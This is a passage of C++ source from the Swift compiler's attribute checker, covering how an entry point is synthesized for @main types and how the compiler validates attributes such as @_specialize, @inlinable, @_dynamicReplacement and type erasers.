typeExpr, SourceLoc(), funcDeclRef, DeclNameLoc(location),
/*Implicit*/ true);
memberRefExpr->setImplicit(true);
auto *callExpr = CallExpr::createImplicit(context, memberRefExpr, {}, {});
callExpr->setImplicit(true);
callExpr->setThrows(mainFunction->hasThrows());
callExpr->setType(context.TheEmptyTupleType);
Expr *returnedExpr;
if (mainFunction->hasAsync()) {
// Pass main into _runAsyncMain(_ asyncFunc: () async throws -> ())
// Resulting $main looks like:
// $main() { _runAsyncMain(main) }
auto *concurrencyModule = context.getLoadedModule(context.Id_Concurrency);
assert(concurrencyModule != nullptr && "Failed to find Concurrency module");
SmallVector<ValueDecl *, 1> decls;
concurrencyModule->lookupQualified(
concurrencyModule,
DeclNameRef(context.getIdentifier("_runAsyncMain")),
NL_QualifiedDefault | NL_IncludeUsableFromInline,
decls);
assert(!decls.empty() && "Failed to find _runAsyncMain");
FuncDecl *runner = cast<FuncDecl>(decls[0]);
auto asyncRunnerDeclRef = ConcreteDeclRef(runner, substitutionMap);
DeclRefExpr *funcExpr = new (context) DeclRefExpr(asyncRunnerDeclRef,
DeclNameLoc(),
/*implicit=*/true);
funcExpr->setType(runner->getInterfaceType());
auto *callExpr = CallExpr::createImplicit(context, funcExpr, memberRefExpr, {});
returnedExpr = callExpr;
} else if (mainFunction->hasThrows()) {
auto *tryExpr = new (context) TryExpr(
callExpr->getLoc(), callExpr, context.TheEmptyTupleType, /*implicit=*/true);
returnedExpr = tryExpr;
} else {
returnedExpr = callExpr;
}
auto *returnStmt =
new (context) ReturnStmt(SourceLoc(), returnedExpr, /*Implicit=*/true);
SmallVector<ASTNode, 1> stmts;
stmts.push_back(returnStmt);
auto *body = BraceStmt::create(context, SourceLoc(), stmts,
SourceLoc(), /*Implicit*/true);
return std::make_pair(body, /*typechecked=*/false);
}
FuncDecl *
SynthesizeMainFunctionRequest::evaluate(Evaluator &evaluator,
Decl *D) const {
auto &context = D->getASTContext();
MainTypeAttr *attr = D->getAttrs().getAttribute<MainTypeAttr>();
if (attr == nullptr)
return nullptr;
auto *extension = dyn_cast<ExtensionDecl>(D);
IterableDeclContext *iterableDeclContext;
DeclContext *declContext;
NominalTypeDecl *nominal;
SourceRange braces;
if (extension) {
nominal = extension->getExtendedNominal();
iterableDeclContext = extension;
declContext = extension;
braces = extension->getBraces();
} else {
nominal = dyn_cast<NominalTypeDecl>(D);
iterableDeclContext = nominal;
declContext = nominal;
braces = nominal->getBraces();
}
assert(nominal && "Should have already recognized that the MainType decl "
"isn't applicable to decls other than NominalTypeDecls");
assert(iterableDeclContext);
assert(declContext);
// The type cannot be generic.
if (nominal->isGenericContext()) {
context.Diags.diagnose(attr->getLocation(),
diag::attr_generic_ApplicationMain_not_supported, 2);
attr->setInvalid();
return nullptr;
}
// Create a function
//
// func $main() {
// return MainType.main()
// }
//
// to be called as the entry point. The advantage of setting up such a
// function is that we get full type-checking for mainType.main() as part of
// usual type-checking. The alternative would be to directly call
// mainType.main() from the entry point, and that would require fully
// type-checking the call to mainType.main().
auto resolution = resolveValueMember(
*declContext, nominal->getInterfaceType(), context.Id_main);
FuncDecl *mainFunction = nullptr;
if (resolution.hasBestOverload()) {
auto best = resolution.getBestOverload();
if (auto function = dyn_cast<FuncDecl>(best)) {
if (function->isMainTypeMainMethod()) {
mainFunction = function;
}
}
}
if (mainFunction == nullptr) {
SmallVector<FuncDecl *, 4> viableCandidates;
for (auto *candidate : resolution.getMemberDecls(Viable)) {
if (auto func = dyn_cast<FuncDecl>(candidate)) {
if (func->isMainTypeMainMethod()) {
viableCandidates.push_back(func);
}
}
}
if (viableCandidates.size() != 1) {
context.Diags.diagnose(attr->getLocation(),
diag::attr_MainType_without_main,
nominal->getBaseName());
attr->setInvalid();
return nullptr;
}
mainFunction = viableCandidates[0];
}
auto where = ExportContext::forDeclSignature(D);
diagnoseDeclAvailability(mainFunction, attr->getRange(), nullptr,
where, None);
auto *const func = FuncDecl::createImplicit(
context, StaticSpellingKind::KeywordStatic,
DeclName(context, DeclBaseName(context.Id_MainEntryPoint),
ParameterList::createEmpty(context)),
/*NameLoc=*/SourceLoc(),
/*Async=*/false,
/*Throws=*/mainFunction->hasThrows(),
/*GenericParams=*/nullptr, ParameterList::createEmpty(context),
/*FnRetType=*/TupleType::getEmpty(context), declContext);
func->setSynthesized(true);
auto *params = context.Allocate<MainTypeAttrParams>();
params->mainFunction = mainFunction;
params->attr = attr;
func->setBodySynthesizer(synthesizeMainBody, params);
iterableDeclContext->addMember(func);
return func;
}
void AttributeChecker::visitMainTypeAttr(MainTypeAttr *attr) {
auto &context = D->getASTContext();
SourceFile *file = D->getDeclContext()->getParentSourceFile();
assert(file);
auto *func = evaluateOrDefault(context.evaluator,
SynthesizeMainFunctionRequest{D},
nullptr);
// Register the func as the main decl in the module. If there are multiples
// they will be diagnosed.
if (file->registerMainDecl(func, attr->getLocation()))
attr->setInvalid();
}
/// Determine whether the given context is an extension to an Objective-C class
/// where the class is defined in the Objective-C module and the extension is
/// defined within its module.
static bool isObjCClassExtensionInOverlay(DeclContext *dc) {
// Check whether we have an extension.
auto ext = dyn_cast<ExtensionDecl>(dc);
if (!ext)
return false;
// Find the extended class.
auto classDecl = ext->getSelfClassDecl();
if (!classDecl)
return false;
auto clangLoader = dc->getASTContext().getClangModuleLoader();
if (!clangLoader) return false;
return clangLoader->isInOverlayModuleForImportedModule(ext, classDecl);
}
void AttributeChecker::visitRequiredAttr(RequiredAttr *attr) {
// The required attribute only applies to constructors.
auto ctor = cast<ConstructorDecl>(D);
auto parentTy = ctor->getDeclContext()->getDeclaredInterfaceType();
if (!parentTy) {
// Constructor outside of nominal type context; we've already complained
// elsewhere.
attr->setInvalid();
return;
}
// Only classes can have required constructors.
if (parentTy->getClassOrBoundGenericClass()) {
// The constructor must be declared within the class itself.
// FIXME: Allow an SDK overlay to add a required initializer to a class
// defined in Objective-C
if (!isa<ClassDecl>(ctor->getDeclContext()) &&
!isObjCClassExtensionInOverlay(ctor->getDeclContext())) {
diagnose(ctor, diag::required_initializer_in_extension, parentTy)
.highlight(attr->getLocation());
attr->setInvalid();
return;
}
} else {
if (!parentTy->hasError()) {
diagnose(ctor, diag::required_initializer_nonclass, parentTy)
.highlight(attr->getLocation());
}
attr->setInvalid();
return;
}
}
void AttributeChecker::visitRethrowsAttr(RethrowsAttr *attr) {
// 'rethrows' only applies to functions that take throwing functions
// as parameters.
auto fn = dyn_cast<AbstractFunctionDecl>(D);
if (fn && fn->getRethrowingKind() != FunctionRethrowingKind::Invalid) {
return;
}
diagnose(attr->getLocation(), diag::rethrows_without_throwing_parameter);
attr->setInvalid();
}
void AttributeChecker::visitAtRethrowsAttr(AtRethrowsAttr *attr) {
if (isa<ProtocolDecl>(D)) {
return;
}
diagnose(attr->getLocation(), diag::rethrows_attr_on_non_protocol);
attr->setInvalid();
}
/// Collect all used generic parameter types from a given type.
static void collectUsedGenericParameters(
Type Ty, SmallPtrSetImpl<TypeBase *> &ConstrainedGenericParams) {
if (!Ty)
return;
if (!Ty->hasTypeParameter())
return;
// Add used generic parameters/archetypes.
Ty.visit([&](Type Ty) {
if (auto GP = dyn_cast<GenericTypeParamType>(Ty->getCanonicalType())) {
ConstrainedGenericParams.insert(GP);
}
});
}
/// Perform some sanity checks for the requirements provided by
/// the @_specialize attribute.
static void checkSpecializeAttrRequirements(
SpecializeAttr *attr,
AbstractFunctionDecl *FD,
const SmallPtrSet<TypeBase *, 4> &constrainedGenericParams,
ASTContext &ctx) {
auto genericSig = FD->getGenericSignature();
if (!attr->isFullSpecialization())
return;
if (constrainedGenericParams.size() == genericSig->getGenericParams().size())
return;
ctx.Diags.diagnose(
attr->getLocation(), diag::specialize_attr_type_parameter_count_mismatch,
genericSig->getGenericParams().size(), constrainedGenericParams.size(),
constrainedGenericParams.size() < genericSig->getGenericParams().size());
if (constrainedGenericParams.size() < genericSig->getGenericParams().size()) {
// Figure out which archetypes are not constrained.
for (auto gp : genericSig->getGenericParams()) {
if (constrainedGenericParams.count(gp->getCanonicalType().getPointer()))
continue;
auto gpDecl = gp->getDecl();
if (gpDecl) {
ctx.Diags.diagnose(attr->getLocation(),
diag::specialize_attr_missing_constraint,
gpDecl->getName());
}
}
}
}
/// Require that the given type either not involve type parameters or be
/// a type parameter.
static bool diagnoseIndirectGenericTypeParam(SourceLoc loc, Type type,
TypeRepr *typeRepr) {
if (type->hasTypeParameter() && !type->is<GenericTypeParamType>()) {
type->getASTContext().Diags.diagnose(
loc,
diag::specialize_attr_only_generic_param_req)
.highlight(typeRepr->getSourceRange());
return true;
}
return false;
}
/// Type check that a set of requirements provided by @_specialize.
/// Store the set of requirements in the attribute.
void AttributeChecker::visitSpecializeAttr(SpecializeAttr *attr) {
DeclContext *DC = D->getDeclContext();
auto *FD = cast<AbstractFunctionDecl>(D);
auto genericSig = FD->getGenericSignature();
auto *trailingWhereClause = attr->getTrailingWhereClause();
if (!trailingWhereClause) {
// Report a missing "where" clause.
diagnose(attr->getLocation(), diag::specialize_missing_where_clause);
return;
}
if (trailingWhereClause->getRequirements().empty()) {
// Report an empty "where" clause.
diagnose(attr->getLocation(), diag::specialize_empty_where_clause);
return;
}
if (!genericSig) {
// Only generic functions are permitted to have trailing where clauses.
diagnose(attr->getLocation(),
diag::specialize_attr_nongeneric_trailing_where, FD->getName())
.highlight(trailingWhereClause->getSourceRange());
return;
}
// Form a new generic signature based on the old one.
GenericSignatureBuilder Builder(D->getASTContext());
// First, add the old generic signature.
Builder.addGenericSignature(genericSig);
// Set of generic parameters being constrained. It is used to
// determine if a full specialization misses requirements for
// some of the generic parameters.
SmallPtrSet<TypeBase *, 4> constrainedGenericParams;
// Go over the set of requirements, adding them to the builder.
WhereClauseOwner(FD, attr).visitRequirements(TypeResolutionStage::Interface,
[&](const Requirement &req, RequirementRepr *reqRepr) {
// Collect all of the generic parameters used by these types.
switch (req.getKind()) {
case RequirementKind::Conformance:
case RequirementKind::SameType:
case RequirementKind::Superclass:
collectUsedGenericParameters(req.getSecondType(),
constrainedGenericParams);
LLVM_FALLTHROUGH;
case RequirementKind::Layout:
collectUsedGenericParameters(req.getFirstType(),
constrainedGenericParams);
break;
}
// Check additional constraints.
// FIXME: These likely aren't fundamental limitations.
switch (req.getKind()) {
case RequirementKind::SameType: {
bool firstHasTypeParameter = req.getFirstType()->hasTypeParameter();
bool secondHasTypeParameter = req.getSecondType()->hasTypeParameter();
// Exactly one type can have a type parameter.
if (firstHasTypeParameter == secondHasTypeParameter) {
diagnose(attr->getLocation(),
firstHasTypeParameter
? diag::specialize_attr_non_concrete_same_type_req
: diag::specialize_attr_only_one_concrete_same_type_req)
.highlight(reqRepr->getSourceRange());
return false;
}
// We either need a fully-concrete type or a generic type parameter.
if (diagnoseIndirectGenericTypeParam(attr->getLocation(),
req.getFirstType(),
reqRepr->getFirstTypeRepr()) ||
diagnoseIndirectGenericTypeParam(attr->getLocation(),
req.getSecondType(),
reqRepr->getSecondTypeRepr())) {
return false;
}
break;
}
case RequirementKind::Superclass:
diagnose(attr->getLocation(),
diag::specialize_attr_non_protocol_type_constraint_req)
.highlight(reqRepr->getSourceRange());
return false;
case RequirementKind::Conformance:
if (diagnoseIndirectGenericTypeParam(attr->getLocation(),
req.getFirstType(),
reqRepr->getSubjectRepr())) {
return false;
}
if (!req.getSecondType()->is<ProtocolType>()) {
diagnose(attr->getLocation(),
diag::specialize_attr_non_protocol_type_constraint_req)
.highlight(reqRepr->getSourceRange());
return false;
}
diagnose(attr->getLocation(),
diag::specialize_attr_unsupported_kind_of_req)
.highlight(reqRepr->getSourceRange());
return false;
case RequirementKind::Layout:
if (diagnoseIndirectGenericTypeParam(attr->getLocation(),
req.getFirstType(),
reqRepr->getSubjectRepr())) {
return false;
}
break;
}
// Add the requirement to the generic signature builder.
using FloatingRequirementSource =
GenericSignatureBuilder::FloatingRequirementSource;
Builder.addRequirement(req, reqRepr,
FloatingRequirementSource::forExplicit(reqRepr),
nullptr, DC->getParentModule());
return false;
});
// Check the validity of provided requirements.
checkSpecializeAttrRequirements(attr, FD, constrainedGenericParams, Ctx);
// Check the result.
auto specializedSig = std::move(Builder).computeGenericSignature(
attr->getLocation(),
/*allowConcreteGenericParams=*/true);
attr->setSpecializedSignature(specializedSig);
// Check the target function if there is one.
attr->getTargetFunctionDecl(FD);
}
void AttributeChecker::visitFixedLayoutAttr(FixedLayoutAttr *attr) {
if (isa<StructDecl>(D)) {
diagnose(attr->getLocation(), diag::fixed_layout_struct)
.fixItReplace(attr->getRange(), "@frozen");
}
auto *VD = cast<ValueDecl>(D);
if (VD->getFormalAccess() < AccessLevel::Public &&
!VD->getAttrs().hasAttribute<UsableFromInlineAttr>()) {
diagnoseAndRemoveAttr(attr, diag::fixed_layout_attr_on_internal_type,
VD->getName(), VD->getFormalAccess());
}
}
void AttributeChecker::visitUsableFromInlineAttr(UsableFromInlineAttr *attr) {
auto *VD = cast<ValueDecl>(D);
// FIXME: Once protocols can contain nominal types, do we want to allow
// these nominal types to have access control (and also @usableFromInline)?
if (isa<ProtocolDecl>(VD->getDeclContext())) {
diagnoseAndRemoveAttr(attr, diag::usable_from_inline_attr_in_protocol);
return;
}
// @usableFromInline can only be applied to internal declarations.
if (VD->getFormalAccess() != AccessLevel::Internal) {
diagnoseAndRemoveAttr(attr,
diag::usable_from_inline_attr_with_explicit_access,
VD->getName(), VD->getFormalAccess());
return;
}
// On internal declarations, @inlinable implies @usableFromInline.
if (VD->getAttrs().hasAttribute<InlinableAttr>()) {
if (Ctx.isSwiftVersionAtLeast(4,2))
diagnoseAndRemoveAttr(attr, diag::inlinable_implies_usable_from_inline);
return;
}
}
void AttributeChecker::visitInlinableAttr(InlinableAttr *attr) {
// @inlinable cannot be applied to stored properties.
//
// If the type is fixed-layout, the accessors are inlinable anyway;
// if the type is resilient, the accessors cannot be inlinable
// because clients cannot directly access storage.
if (auto *VD = dyn_cast<VarDecl>(D)) {
if (VD->hasStorage() || VD->getAttrs().hasAttribute<LazyAttr>()) {
diagnoseAndRemoveAttr(attr,
diag::attribute_invalid_on_stored_property,
attr);
return;
}
}
auto *VD = cast<ValueDecl>(D);
// Calls to dynamically-dispatched declarations are never devirtualized,
// so marking them as @inlinable does not make sense.
if (VD->isDynamic()) {
diagnoseAndRemoveAttr(attr, diag::inlinable_dynamic_not_supported);
return;
}
// @inlinable can only be applied to public or internal declarations.
auto access = VD->getFormalAccess();
if (access < AccessLevel::Internal) {
diagnoseAndRemoveAttr(attr, diag::inlinable_decl_not_public,
VD->getBaseName(),
access);
return;
}
// @inlinable cannot be applied to deinitializers in resilient classes.
if (auto *DD = dyn_cast<DestructorDecl>(D)) {
if (auto *CD = dyn_cast<ClassDecl>(DD->getDeclContext())) {
if (CD->isResilient()) {
diagnoseAndRemoveAttr(attr, diag::inlinable_resilient_deinit);
return;
}
}
}
}
void AttributeChecker::visitOptimizeAttr(OptimizeAttr *attr) {
if (auto *VD = dyn_cast<VarDecl>(D)) {
if (VD->hasStorage()) {
diagnoseAndRemoveAttr(attr,
diag::attribute_invalid_on_stored_property,
attr);
return;
}
}
}
void AttributeChecker::visitDiscardableResultAttr(DiscardableResultAttr *attr) {
if (auto *FD = dyn_cast<FuncDecl>(D)) {
if (auto result = FD->getResultInterfaceType()) {
auto resultIsVoid = result->isVoid();
if (resultIsVoid || result->isUninhabited()) {
diagnoseAndRemoveAttr(attr,
diag::discardable_result_on_void_never_function,
resultIsVoid);
}
}
}
}
/// Lookup the replaced decl in the replacments scope.
static void lookupReplacedDecl(DeclNameRef replacedDeclName,
const DeclAttribute *attr,
const ValueDecl *replacement,
SmallVectorImpl<ValueDecl *> &results) {
auto *declCtxt = replacement->getDeclContext();
// Look at the accessors' storage's context.
if (auto *accessor = dyn_cast<AccessorDecl>(replacement)) {
auto *storage = accessor->getStorage();
declCtxt = storage->getDeclContext();
}
auto *moduleScopeCtxt = declCtxt->getModuleScopeContext();
if (isa<FileUnit>(declCtxt)) {
auto &ctx = declCtxt->getASTContext();
auto descriptor = UnqualifiedLookupDescriptor(
replacedDeclName, moduleScopeCtxt, attr->getLocation());
auto lookup = evaluateOrDefault(ctx.evaluator,
UnqualifiedLookupRequest{descriptor}, {});
for (auto entry : lookup) {
results.push_back(entry.getValueDecl());
}
return;
}
assert(declCtxt->isTypeContext());
auto typeCtx = dyn_cast<NominalTypeDecl>(declCtxt->getAsDecl());
if (!typeCtx)
typeCtx = cast<ExtensionDecl>(declCtxt->getAsDecl())->getExtendedNominal();
auto options = NL_QualifiedDefault;
if (declCtxt->isInSpecializeExtensionContext())
options |= NL_IncludeUsableFromInline;
if (typeCtx)
moduleScopeCtxt->lookupQualified({typeCtx}, replacedDeclName, options,
results);
}
/// Remove any argument labels from the interface type of the given value that
/// are extraneous from the type system's point of view, producing the
/// type to compare against for the purposes of dynamic replacement.
static Type getDynamicComparisonType(ValueDecl *value) {
unsigned numArgumentLabels = 0;
if (isa<AbstractFunctionDecl>(value)) {
++numArgumentLabels;
if (value->getDeclContext()->isTypeContext())
++numArgumentLabels;
} else if (isa<SubscriptDecl>(value)) {
++numArgumentLabels;
}
auto interfaceType = value->getInterfaceType();
return interfaceType->removeArgumentLabels(numArgumentLabels);
}
static FuncDecl *findSimilarAccessor(DeclNameRef replacedVarName,
const AccessorDecl *replacement,
DeclAttribute *attr, ASTContext &ctx,
bool forDynamicReplacement) {
// Retrieve the replaced abstract storage decl.
SmallVector<ValueDecl *, 4> results;
lookupReplacedDecl(replacedVarName, attr, replacement, results);
// Filter out any accessors that won't work.
if (!results.empty()) {
auto replacementStorage = replacement->getStorage();
Type replacementStorageType = getDynamicComparisonType(replacementStorage);
results.erase(std::remove_if(results.begin(), results.end(),
[&](ValueDecl *result) {
// Protocol requirements are not replaceable.
if (isa<ProtocolDecl>(result->getDeclContext()))
return true;
// Check for static/instance mismatch.
if (result->isStatic() != replacementStorage->isStatic())
return true;
// Check for type mismatch.
auto resultType = getDynamicComparisonType(result);
if (!resultType->isEqual(replacementStorageType) &&
!resultType->matches(
replacementStorageType,
TypeMatchFlags::AllowCompatibleOpaqueTypeArchetypes)) {
return true;
}
return false;
}),
results.end());
}
auto &Diags = ctx.Diags;
if (results.empty()) {
Diags.diagnose(attr->getLocation(),
diag::dynamic_replacement_accessor_not_found,
replacedVarName);
attr->setInvalid();
return nullptr;
}
if (results.size() > 1) {
Diags.diagnose(attr->getLocation(),
diag::dynamic_replacement_accessor_ambiguous,
replacedVarName);
for (auto result : results) {
Diags.diagnose(result,
diag::dynamic_replacement_accessor_ambiguous_candidate,
result->getModuleContext()->getName());
}
attr->setInvalid();
return nullptr;
}
assert(!isa<FuncDecl>(results[0]));
auto *origStorage = cast<AbstractStorageDecl>(results[0]);
if (forDynamicReplacement && !origStorage->isDynamic()) {
Diags.diagnose(attr->getLocation(),
diag::dynamic_replacement_accessor_not_dynamic,
origStorage->getName());
attr->setInvalid();
return nullptr;
}
// Find the accessor in the replaced storage decl.
auto *origAccessor = origStorage->getOpaqueAccessor(
replacement->getAccessorKind());
if (!origAccessor)
return nullptr;
if (origAccessor->isImplicit() &&
!(origStorage->getReadImpl() == ReadImplKind::Stored &&
origStorage->getWriteImpl() == WriteImplKind::Stored)) {
Diags.diagnose(attr->getLocation(),
diag::dynamic_replacement_accessor_not_explicit,
(unsigned)origAccessor->getAccessorKind(),
origStorage->getName());
attr->setInvalid();
return nullptr;
}
return origAccessor;
}
static FuncDecl *findReplacedAccessor(DeclNameRef replacedVarName,
const AccessorDecl *replacement,
DeclAttribute *attr,
ASTContext &ctx) {
return findSimilarAccessor(replacedVarName, replacement, attr, ctx,
/*forDynamicReplacement*/ true);
}
static FuncDecl *findTargetAccessor(DeclNameRef replacedVarName,
const AccessorDecl *replacement,
DeclAttribute *attr,
ASTContext &ctx) {
return findSimilarAccessor(replacedVarName, replacement, attr, ctx,
/*forDynamicReplacement*/ false);
}
static AbstractFunctionDecl *
findSimilarFunction(DeclNameRef replacedFunctionName,
const AbstractFunctionDecl *base, DeclAttribute *attr,
DiagnosticEngine *Diags, bool forDynamicReplacement) {
// Note: we might pass a constant attribute when typechecker is nullptr.
// Any modification to attr must be guarded by a null check on TC.
//
SmallVector<ValueDecl *, 4> results;
lookupReplacedDecl(replacedFunctionName, attr, base, results);
for (auto *result : results) {
// Protocol requirements are not replaceable.
if (isa<ProtocolDecl>(result->getDeclContext()))
continue;
// Check for static/instance mismatch.
if (result->isStatic() != base->isStatic())
continue;
auto resultTy = result->getInterfaceType();
auto replaceTy = base->getInterfaceType();
TypeMatchOptions matchMode = TypeMatchFlags::AllowABICompatible;
matchMode |= TypeMatchFlags::AllowCompatibleOpaqueTypeArchetypes;
if (resultTy->matches(replaceTy, matchMode)) {
if (forDynamicReplacement && !result->isDynamic()) {
if (Diags) {
Diags->diagnose(attr->getLocation(),
diag::dynamic_replacement_function_not_dynamic,
result->getName());
attr->setInvalid();
}
return nullptr;
}
return cast<AbstractFunctionDecl>(result);
}
}
if (!Diags)
return nullptr;
if (results.empty()) {
Diags->diagnose(attr->getLocation(),
forDynamicReplacement
? diag::dynamic_replacement_function_not_found
: diag::specialize_target_function_not_found,
replacedFunctionName);
} else {
Diags->diagnose(attr->getLocation(),
forDynamicReplacement
? diag::dynamic_replacement_function_of_type_not_found
: diag::specialize_target_function_of_type_not_found,
replacedFunctionName,
base->getInterfaceType()->getCanonicalType());
for (auto *result : results) {
Diags->diagnose(SourceLoc(),
forDynamicReplacement
? diag::dynamic_replacement_found_function_of_type
: diag::specialize_found_function_of_type,
result->getName(),
result->getInterfaceType()->getCanonicalType());
}
}
attr->setInvalid();
return nullptr;
}
static AbstractFunctionDecl *
findReplacedFunction(DeclNameRef replacedFunctionName,
const AbstractFunctionDecl *replacement,
DynamicReplacementAttr *attr, DiagnosticEngine *Diags) {
return findSimilarFunction(replacedFunctionName, replacement, attr, Diags,
true /*forDynamicReplacement*/);
}
static AbstractFunctionDecl *
findTargetFunction(DeclNameRef targetFunctionName,
const AbstractFunctionDecl *base,
SpecializeAttr * attr, DiagnosticEngine *diags) {
return findSimilarFunction(targetFunctionName, base, attr, diags,
false /*forDynamicReplacement*/);
}
static AbstractStorageDecl *
findReplacedStorageDecl(DeclNameRef replacedFunctionName,
const AbstractStorageDecl *replacement,
const DynamicReplacementAttr *attr) {
SmallVector<ValueDecl *, 4> results;
lookupReplacedDecl(replacedFunctionName, attr, replacement, results);
for (auto *result : results) {
// Check for static/instance mismatch.
if (result->isStatic() != replacement->isStatic())
continue;
auto resultTy = result->getInterfaceType();
auto replaceTy = replacement->getInterfaceType();
TypeMatchOptions matchMode = TypeMatchFlags::AllowABICompatible;
matchMode |= TypeMatchFlags::AllowCompatibleOpaqueTypeArchetypes;
if (resultTy->matches(replaceTy, matchMode)) {
if (!result->isDynamic()) {
return nullptr;
}
return cast<AbstractStorageDecl>(result);
}
}
return nullptr;
}
void AttributeChecker::visitDynamicReplacementAttr(DynamicReplacementAttr *attr) {
assert(isa<AbstractFunctionDecl>(D) || isa<AbstractStorageDecl>(D));
auto *replacement = cast<ValueDecl>(D);
if (!isa<ExtensionDecl>(replacement->getDeclContext()) &&
!replacement->getDeclContext()->isModuleScopeContext()) {
diagnose(attr->getLocation(), diag::dynamic_replacement_not_in_extension,
replacement->getBaseName());
attr->setInvalid();
return;
}
if (replacement->shouldUseNativeDynamicDispatch()) {
diagnose(attr->getLocation(), diag::dynamic_replacement_must_not_be_dynamic,
replacement->getBaseName());
attr->setInvalid();
return;
}
auto *original = replacement->getDynamicallyReplacedDecl();
if (!original) {
attr->setInvalid();
return;
}
if (original->isObjC() && !replacement->isObjC()) {
diagnose(attr->getLocation(),
diag::dynamic_replacement_replacement_not_objc_dynamic,
replacement->getName());
attr->setInvalid();
}
if (!original->isObjC() && replacement->isObjC()) {
diagnose(attr->getLocation(),
diag::dynamic_replacement_replaced_not_objc_dynamic,
original->getName());
attr->setInvalid();
}
if (auto *CD = dyn_cast<ConstructorDecl>(replacement)) {
auto *attr = CD->getAttrs().getAttribute<DynamicReplacementAttr>();
auto replacedIsConvenienceInit =
cast<ConstructorDecl>(original)->isConvenienceInit();
if (replacedIsConvenienceInit &&!CD->isConvenienceInit()) {
diagnose(attr->getLocation(),
diag::dynamic_replacement_replaced_constructor_is_convenience,
attr->getReplacedFunctionName());
} else if (!replacedIsConvenienceInit && CD->isConvenienceInit()) {
diagnose(
attr->getLocation(),
diag::dynamic_replacement_replaced_constructor_is_not_convenience,
attr->getReplacedFunctionName());
}
}
}
Type
ResolveTypeEraserTypeRequest::evaluate(Evaluator &evaluator,
ProtocolDecl *PD,
TypeEraserAttr *attr) const {
if (auto *typeEraserRepr = attr->getParsedTypeEraserTypeRepr()) {
return TypeResolution::forContextual(PD, None,
// Unbound generics are not allowed
// within this attribute.
/*unboundTyOpener*/ nullptr)
.resolveType(typeEraserRepr);
} else {
auto *LazyResolver = attr->Resolver;
assert(LazyResolver && "type eraser was neither parsed nor deserialized?");
auto ty = LazyResolver->loadTypeEraserType(attr, attr->ResolverContextData);
attr->Resolver = nullptr;
if (!ty) {
return ErrorType::get(PD->getASTContext());
}
return ty;
}
}
bool
TypeEraserHasViableInitRequest::evaluate(Evaluator &evaluator,
TypeEraserAttr *attr,
ProtocolDecl *protocol) const {
auto &ctx = protocol->getASTContext();
auto &diags = ctx.Diags;
DeclContext *dc = protocol->getDeclContext();
Type protocolType = protocol->getDeclaredInterfaceType();
// Get the NominalTypeDecl for the type eraser.
Type typeEraser = attr->getResolvedType(protocol);
if (typeEraser->hasError())
return false;
// The type eraser must be a concrete nominal type
auto nominalTypeDecl = typeEraser->getAnyNominal();
if (auto typeAliasDecl = dyn_cast_or_null<TypeAliasDecl>(nominalTypeDecl))
nominalTypeDecl = typeAliasDecl->getUnderlyingType()->getAnyNominal();
if (!nominalTypeDecl || isa<ProtocolDecl>(nominalTypeDecl)) {
diags.diagnose(attr->getLoc(), diag::non_nominal_type_eraser);
return false;
}
// The nominal type must be accessible wherever the protocol is accessible
if (nominalTypeDecl->getFormalAccess() < protocol->getFormalAccess()) {
diags.diagnose(attr->getLoc(), diag::type_eraser_not_accessible,
nominalTypeDecl->getFormalAccess(), nominalTypeDecl->getName(),
protocolType, protocol->getFormalAccess());
diags.diagnose(nominalTypeDecl->getLoc(), diag::type_eraser_declared_here);
return false;
}
// The type eraser must conform to the annotated protocol
if (!TypeChecker::conformsToProtocol(typeEraser, protocol, dc)) {
diags.diagnose(attr->getLoc(), diag::type_eraser_does_not_conform,
typeEraser, protocolType);
diags.diagnose(nominalTypeDecl->getLoc(), diag::type_eraser_declared_here);
return false;
}
// The type eraser must have an init of the form init<T: Protocol>(erasing: T)
auto lookupResult = TypeChecker::lookupMember(dc, typeEraser,
DeclNameRef::createConstructor());
// Keep track of unviable init candidates for diagnostics
enum class UnviableReason {
Failable,
UnsatisfiedRequirements,
Inaccessible,
};
SmallVector<std::tuple<ConstructorDecl *, UnviableReason, Type>, 2> unviable;
bool foundMatch = llvm::any_of(lookupResult, [&](const LookupResultEntry &entry) {
auto *init = cast<ConstructorDecl>(entry.getValueDecl());
if (!init->isGeneric() || init->getGenericParams()->size() != 1)
return false;
auto genericSignature = init->getGenericSignature();
auto genericParamType = genericSignature->getInnermostGenericParams().front();
// Fow now, only allow one parameter.
auto params = init->getParameters();
if (params->size() != 1)
return false;
// The parameter must have the form `erasing: T` where T conforms to the protocol.
ParamDecl *param = *init->getParameters()->begin();
if (param->getArgumentName() != ctx.Id_erasing ||
!param->getInterfaceType()->isEqual(genericParamType) ||
!genericSignature->requiresProtocol(genericParamType, protocol))
return false;
// Allow other constraints as long as the init can be called with any
// type conforming to the annotated protocol. We will check this by
// substituting the protocol's Self type for the generic arg and check that
// the requirements in the generic signature are satisfied.
auto baseMap =
typeEraser->getContextSubstitutionMap(nominalTypeDecl->getParentModule(),
nominalTypeDecl);
QuerySubstitutionMap getSubstitution{baseMap};
auto subMap = SubstitutionMap::get(
genericSignature,
[&](SubstitutableType *type) -> Type {
if (type->isEqual(genericParamType))
return protocol->getSelfTypeInContext();
return getSubstitution(type);
},
LookUpConformanceInModule(dc->getParentModule()));
// Use invalid 'SourceLoc's to suppress diagnostics.
auto result = TypeChecker::checkGenericArguments(
dc, SourceLoc(), SourceLoc(), typeEraser,
genericSignature->getGenericParams(),
genericSignature->getRequirements(),
QuerySubstitutionMap{subMap});
if (result != RequirementCheckResult::Success) {
unviable.push_back(
std::make_tuple(init, UnviableReason::UnsatisfiedRequirements,
genericParamType));
return false;
}
if (init->isFailable()) {
unviable.push_back(
std::make_tuple(init, UnviableReason::Failable, genericParamType));
return false;
}
if (init->getFormalAccess() < protocol->getFormalAccess()) {
unviable.push_back(
std::make_tuple(init, UnviableReason::Inaccessible, genericParamType));
return false;
}
return true;
});
if (!foundMatch) {
if (unviable.empty()) {
diags.diagnose(attr->getLocation(), diag::type_eraser_missing_init,
typeEraser, protocol->getName().str());
diags.diagnose(nominalTypeDecl->getLoc(), diag::type_eraser_declared_here);
return false;
}
diags.diagnose(attr->getLocation(), diag::type_eraser_unviable_init,
typeEraser, protocol->getName().str());
for (auto &candidate: unviable) {
auto init = std::get<0>(candidate);
auto reason = std::get<1>(candidate);
auto genericParamType = std::get<2>(candidate);
switch (reason) {
case UnviableReason::Failable:
diags.diagnose(init->getLoc(), diag::type_eraser_failable_init);
break;
case UnviableReason::UnsatisfiedRequirements:
diags.diagnose(init->getLoc(),
diag::type_eraser_init_unsatisfied_requirements,
genericParamType, protocol->getName().str());
break;
case UnviableReason::Inaccessible:
diags.diagnose(init->getLoc(), diag::type_eraser_init_not_accessible,
init->getFormalAccess(), protocolType,
protocol->getFormalAccess());
break;
}
}
return false;
}
